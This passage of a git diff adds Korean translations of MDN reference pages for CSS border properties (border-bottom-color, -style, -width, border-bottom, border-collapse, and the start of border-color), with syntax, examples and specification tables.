+<ul>
+ <li>위키백과 <a href="https://ko.wikipedia.org/wiki/%EB%B8%94%EB%A0%8C%EB%93%9C_%EB%AA%A8%EB%93%9C">블렌드 모드</a></li>
+ <li>Adobe <a href="https://helpx.adobe.com/kr/photoshop/using/blending-modes.html">Adobe Photoshop에서의 혼합 모드</a></li>
+</ul>
diff --git a/files/ko/web/css/border-bottom-color/index.html b/files/ko/web/css/border-bottom-color/index.html
new file mode 100644
index 0000000000..eddf531cdc
--- /dev/null
+++ b/files/ko/web/css/border-bottom-color/index.html
@@ -0,0 +1,114 @@
+---
+title: border-bottom-color
+slug: Web/CSS/border-bottom-color
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-bottom-color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-bottom-color</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 아래쪽 테두리 색상을 지정합니다.</span> {{cssxref("border-color")}} 또는 {{cssxref("border-bottom")}} 단축 속성으로도 지정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom-color.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers  language-css">/* &lt;color&gt; 값 */
+border-bottom-color: red;
+border-bottom-color: #ffbb00;
+border-bottom-color: rgb(255, 0, 0);
+border-bottom-color: hsla(100%, 50%, 25%, 0.75);
+border-bottom-color: currentColor;
+border-bottom-color: transparent;
+
+/* 전역 값 */
+border-bottom-color: inherit;
+border-bottom-color: initial;
+border-bottom-color: unset;
+</pre>
+
+<p><code>border-bottom-color</code> 속성은 하나의 값을 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>아래쪽 테두리의 색상.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리를_가진_간단한_상자">테두리를 가진 간단한 상자</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="mybox"&gt;
+  &lt;p&gt;This is a box with a border around it.
+     Note which side of the box is
+     &lt;span class="redtext"&gt;red&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.mybox {
+  border: solid 0.3em gold;
+  border-bottom-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리를_가진_간단한_상자')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-bottom-color', 'border-bottom-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant changes, though the <code>transparent</code> keyword, now included in {{cssxref("&lt;color&gt;")}} which has been extended, has been formally removed.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-bottom-color', 'border-bottom-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-bottom-color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}.</li>
+ <li>다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-left-color")}}.</li>
+ <li>아래쪽 테두리 관련 CSS 속성: {{cssxref("border-bottom-style")}}, {{cssxref("border-bottom-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-bottom-style/index.html b/files/ko/web/css/border-bottom-style/index.html
new file mode 100644
index 0000000000..7cbdb4d17a
--- /dev/null
+++ b/files/ko/web/css/border-bottom-style/index.html
@@ -0,0 +1,134 @@
+---
+title: border-bottom-style
+slug: Web/CSS/border-bottom-style
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-bottom-style
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-bottom-style</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소 테두리의 아래쪽 스타일을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom-style.html")}}</div>
+
+
+
+<div class="note"><strong>참고:</strong> 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-bottom-style: none;
+border-bottom-style: hidden;
+border-bottom-style: dotted;
+border-bottom-style: dashed;
+border-bottom-style: solid;
+border-bottom-style: double;
+border-bottom-style: groove;
+border-bottom-style: ridge;
+border-bottom-style: inset;
+border-bottom-style: outset;
+
+/* 전역 값 */
+border-bottom-style: inherit;
+border-bottom-style: initial;
+border-bottom-style: unset;
+</pre>
+
+<p><code>border-bottom-style</code> 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td class="b1"&gt;none&lt;/td&gt;
+    &lt;td class="b2"&gt;hidden&lt;/td&gt;
+    &lt;td class="b3"&gt;dotted&lt;/td&gt;
+    &lt;td class="b4"&gt;dashed&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b5"&gt;solid&lt;/td&gt;
+    &lt;td class="b6"&gt;double&lt;/td&gt;
+    &lt;td class="b7"&gt;groove&lt;/td&gt;
+    &lt;td class="b8"&gt;ridge&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b9"&gt;inset&lt;/td&gt;
+    &lt;td class="b10"&gt;outset&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-bottom-style example classes */
+.b1 {border-bottom-style: none;}
+.b2 {border-bottom-style: hidden;}
+.b3 {border-bottom-style: dotted;}
+.b4 {border-bottom-style: dashed;}
+.b5 {border-bottom-style: solid;}
+.b6 {border-bottom-style: double;}
+.b7 {border-bottom-style: groove;}
+.b8 {border-bottom-style: ridge;}
+.b9 {border-bottom-style: inset;}
+.b10 {border-bottom-style: outset;}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제', 300, 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-bottom-style')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-bottom-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-bottom-style")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.</li>
+ <li>아래쪽 테두리 관련 CSS 속성: {{cssxref("border-bottom")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-bottom-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-bottom-width/index.html b/files/ko/web/css/border-bottom-width/index.html
new file mode 100644
index 0000000000..eaf386b9a1
--- /dev/null
+++ b/files/ko/web/css/border-bottom-width/index.html
@@ -0,0 +1,150 @@
+---
+title: border-bottom-width
+slug: Web/CSS/border-bottom-width
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/border-bottom-width
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-bottom-width</code></strong> 속성은 요소의 아래 테두리 너비를 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom-width.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+border-bottom-width: thin;
+border-bottom-width: medium;
+border-bottom-width: thick;
+
+/* &lt;length&gt; 값 */
+border-bottom-width: 10em;
+border-bottom-width: 3vmax;
+border-bottom-width: 6px;
+
+/* 전역 값 */
+border-bottom-width: inherit;
+border-bottom-width: initial;
+border-bottom-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 너비입니다. 0 이상의 {{cssxref("&lt;length&gt;")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td style="vertical-align: middle;"><code>thin</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-bottom-style: solid; border-bottom-width: thin; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">얇은 테두리</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>medium</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-bottom-style: solid; border-bottom-width: medium; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">중간 테두리</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>thick</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-bottom-style: solid; border-bottom-width: thick; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">굵은 테두리</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>참고:</strong> 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 <code>thin ≤ medium ≤ thick</code>이고, 하나의 문서 내에서 동일합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="아래_테두리의_너비_비교">아래 테두리의 너비 비교</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Element 1&lt;/div&gt;
+&lt;div&gt;Element 2&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-bottom-width: thick;
+}
+div:nth-child(2) {
+  border-bottom-width: 2em;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('아래_테두리의_너비_비교', '100%')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-bottom-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-bottom-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-left-width', 'border-bottom-width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-bottom-width")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>테두리 너비 관련 CSS 속성: {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-top-width")}}, and {{Cssxref("border-width")}}.</li>
+ <li>아래 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-bottom")}}, {{Cssxref("border-bottom-style")}}, and {{Cssxref("border-bottom-color")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-bottom/index.html b/files/ko/web/css/border-bottom/index.html
new file mode 100644
index 0000000000..fc203bb67b
--- /dev/null
+++ b/files/ko/web/css/border-bottom/index.html
@@ -0,0 +1,109 @@
+---
+title: border-bottom
+slug: Web/CSS/border-bottom
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+  - 테두리
+translation_of: Web/CSS/border-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-bottom</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 아래쪽 테두리를 설정합니다.</span> {{cssxref("border-bottom-width")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-bottom-color")}}의 값을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom.html")}}</div>
+
+
+
+<p>다른 단축 속성과 마찬가지로, <code>border-bottom</code>는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.</p>
+
+<pre class="brush: css">border-bottom-style: dotted;
+border-bottom: thick green;
+</pre>
+
+<pre class="brush: css">border-bottom-style: dotted;
+border-bottom: none thick green;
+</pre>
+
+<p>따라서 <code>border-bottom</code>보다 먼저 지정한 {{cssxref("border-bottom-style")}}의 값은 무시됩니다. {{cssxref("border-bottom-style")}}의 기본값은 <code>none</code>이므로, <code>border-style</code>을 명시하지 않으면 테두리를 만들지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">border-bottom: 1px;
+border-bottom: 2px dotted;
+border-bottom: medium dashed green;
+</pre>
+
+<p><code>border-bottom</code>은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>{{cssxref("border-bottom-width")}}.</dd>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>{{cssxref("border-bottom-style")}}.</dd>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>{{cssxref("border-bottom-color")}}.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;div&gt;
+  아래쪽 테두리를 가진 요소입니다.
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  border-bottom: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-bottom', 'border-bottom')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No direct changes, though the modification of values for the {{cssxref("border-bottom-color")}} do apply to it.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-bottom', 'border-bottom')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-bottom', 'border-bottom')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.border-bottom")}}</p>
diff --git a/files/ko/web/css/border-collapse/index.html b/files/ko/web/css/border-collapse/index.html
new file mode 100644
index 0000000000..8f024cf916
--- /dev/null
+++ b/files/ko/web/css/border-collapse/index.html
@@ -0,0 +1,148 @@
+---
+title: border-collapse
+slug: Web/CSS/border-collapse
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - CSS Tables
+  - Reference
+translation_of: Web/CSS/border-collapse
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-collapse</code></strong> CSS 속성은 표 테두리(border)가 분리(separated) 또는 상쇄(collapsed)될 지를 결정합니다. 분리 모델에서는, 인접한 셀은 각각 자신의 고유(distinct) 테두리가 있습니다. 상쇄 모델에서는, 인접한 표 셀은 테두리를 공유합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-collapse.html")}}</div>
+
+
+
+<p>분리(<em>separated</em>) 모델은 HTML 표 테두리 전통 모델입니다. 인접 셀은 각각 자신의 고유 테두리가 있습니다. 그 사이의 간격은 {{ Cssxref("border-spacing") }} 속성에 의해 주어집니다.</p>
+
+<p>상쇄(<em>collapsed</em>) 테두리 모델에서는, 인접 표 셀은 테두리를 공유합니다. 그 모델에서는, <code>inset</code>의 {{ Cssxref("border-style") }} 값은 <code>groove</code>처럼, <code>outset</code>은 <code>ridge</code>처럼 행동합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* Keyword values */
+border-collapse: collapse;
+border-collapse: separate;
+
+/* Global values */
+border-collapse: inherit;
+border-collapse: initial;
+border-collapse: unset;</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>separate</code></dt>
+ <dd>분리된 테두리 표 렌더링 모델의 사용을 요청하는 키워드입니다. 기본값입니다.</dd>
+ <dt><code>collapse</code></dt>
+ <dd>상쇄된 테두리 표 렌더링 모델의 사용을 요청하는 키워드입니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="A_colorful_table_of_browser_engines" name="A_colorful_table_of_browser_engines">브라우저 엔진의 다색 표</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table class="separate"&gt;
+    &lt;caption&gt;&lt;code&gt;border-collapse: separate&lt;/code&gt;&lt;/caption&gt;
+    &lt;tbody&gt;
+        &lt;tr&gt;&lt;th&gt;Browser&lt;/th&gt; &lt;th&gt;Layout Engine&lt;/th&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;&lt;td class="fx"&gt;Firefox&lt;/td&gt; &lt;td class="gk"&gt;Gecko&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;&lt;td class="ie"&gt;Internet Explorer&lt;/td&gt; &lt;td class="tr"&gt;Trident&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;&lt;td class="sa"&gt;Safari&lt;/td&gt; &lt;td class="wk"&gt;Webkit&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;&lt;td class="ch"&gt;Chrome&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;&lt;td class="op"&gt;Opera&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+        &lt;/tr&gt;
+    &lt;/tbody&gt;
+&lt;/table&gt;
+&lt;table class="collapse"&gt;
+    &lt;caption&gt;&lt;code&gt;border-collapse: collapse&lt;/code&gt;&lt;/caption&gt;
+    &lt;tbody&gt;
+        &lt;tr&gt;&lt;th&gt;Browser&lt;/th&gt; &lt;th&gt;Layout Engine&lt;/th&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;&lt;td class="fx"&gt;Firefox&lt;/td&gt; &lt;td class="gk"&gt;Gecko&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;&lt;td class="ie"&gt;Internet Explorer&lt;/td&gt; &lt;td class="tr"&gt;Trident&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;&lt;td class="sa"&gt;Safari&lt;/td&gt; &lt;td class="wk"&gt;Webkit&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;&lt;td class="ch"&gt;Chrome&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;&lt;td class="op"&gt;Opera&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+        &lt;/tr&gt;
+    &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.collapse {
+    border-collapse: collapse;
+}
+.separate {
+    border-collapse: separate;
+}
+table {
+    display: inline-table;
+    margin: 1em;
+    border: dashed 6px;
+    border-width: 6px;
+}
+table th, table td {
+    border: solid 3px;
+}
+.fx { border-color: orange blue; }
+.gk { border-color: black red; }
+.ie { border-color: blue gold; }
+.tr { border-color: aqua; }
+.sa { border-color: silver blue; }
+.wk { border-color: gold blue; }
+.ch { border-color: red yellow green blue; }
+.bk { border-color: navy blue teal aqua; }
+.op { border-color: red; }</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('A_colorful_table_of_browser_engines', 400, 300) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'tables.html#borders', 'border-collapse') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.border-collapse")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("border-spacing")}}, {{cssxref("border-style")}}</li>
+ <li>The <code>border-collapse</code> property alters the appearance of the {{htmlelement("table")}} HTML element.</li>
+</ul>
diff --git a/files/ko/web/css/border-color/index.html b/files/ko/web/css/border-color/index.html
new file mode 100644
index 0000000000..4d5ab51a4c
--- /dev/null
+++ b/files/ko/web/css/border-color/index.html
@@ -0,0 +1,184 @@
+---
+title: border-color
+slug: Web/CSS/border-color
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-color</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 모든 면의 테두리 색상을 설정합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-color.html")}}</div>
+
+
+
+<p>각 면 테두리의 색상은 {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}를 사용해 정할 수 있습니다. 아니면 쓰기 방향에 따라 달라지는 속성인 {{cssxref("border-block-start-color")}}, {{cssxref("border-block-end-color")}}, {{cssxref("border-inline-start-color")}}, {{cssxref("border-inline-end-color")}}을 사용할 수도 있습니다.</p>
+
+<p>테두리 색상에 대해 더 알아보려면 <a href="/ko/docs/Web/HTML/Applying_color#테두리">CSS로 HTML 요소에 색 입히기</a> 문서를 참고하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;color&gt; 값 */
+border-color: red;
+
+/* 세로방향 | 가로방향 */
+border-color: red #f015ca;
+
+/* 위 | 가로방향 | 아래 */
+border-color: red rgb(240,30,50,.7) green;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-color: red yellow green blue;
+
+/* 전역 값 */
+border-color: inherit;
+border-color: initial;
+border-color: unset;
+</pre>
+
+<p><code>border-color</code> 속성은 한 개에서 네 개의 값을 사용해서 지정할 수 있습니다.</p>
+
+<ul>
+ <li><strong>한 개</strong>의 값을 사용하면 모든 네 면에 동일한 색상을 적용합니다.</li>
+ <li><strong>두 개</strong>의 값을 사용하면 첫 번째 값이 위아래, 두 번째 값이 좌우의 색상을 맡습니다.</li>
+ <li><strong>세 개</strong>의 값을 사용하면 첫 번째 값이 위, 두 번째 값이 좌우, 세 번째 값이 아래의 색상을 맡습니다.</li>
+ <li><strong>네 개</strong>의 값을 사용하면 각각 순서대로 위, 오른쪽, 아래, 왼쪽(시계방향) 순서로 색상을 적용합니다.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>테두리의 색상.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="border-color의_모든_사용법"><code>border-color</code>의 모든 사용법</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div id="justone"&gt;
+  &lt;p&gt;&lt;code&gt;border-color: red;&lt;/code&gt;는 아래와 같습니다.&lt;/p&gt;
+  &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-right-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-bottom-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-left-color: red;&lt;/code&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+&lt;div id="horzvert"&gt;
+  &lt;p&gt;&lt;code&gt;border-color: gold red;&lt;/code&gt;는 아래와 같습니다.&lt;/p&gt;
+  &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: gold;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-right-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-bottom-color: gold;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-left-color: red;&lt;/code&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+&lt;div id="topvertbott"&gt;
+  &lt;p&gt;&lt;code&gt;border-color: red cyan gold;&lt;/code&gt;는 아래와 같습니다.&lt;/p&gt;
+  &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-right-color: cyan;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-bottom-color: gold;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-left-color: cyan;&lt;/code&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+&lt;div id="trbl"&gt;
+  &lt;p&gt;&lt;code&gt;border-color: red cyan black gold;&lt;/code&gt;는 아래와 같습니다.&lt;/p&gt;
+  &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-right-color: cyan;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-bottom-color: black;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-left-color: gold;&lt;/code&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#justone {
+  border-color: red;
+}
+
+#horzvert {
+  border-color: gold red;
+}
+
+#topvertbott {
+  border-color: red cyan gold;
+}
+
+#trbl {
+  border-color: red cyan black gold;
+}
+
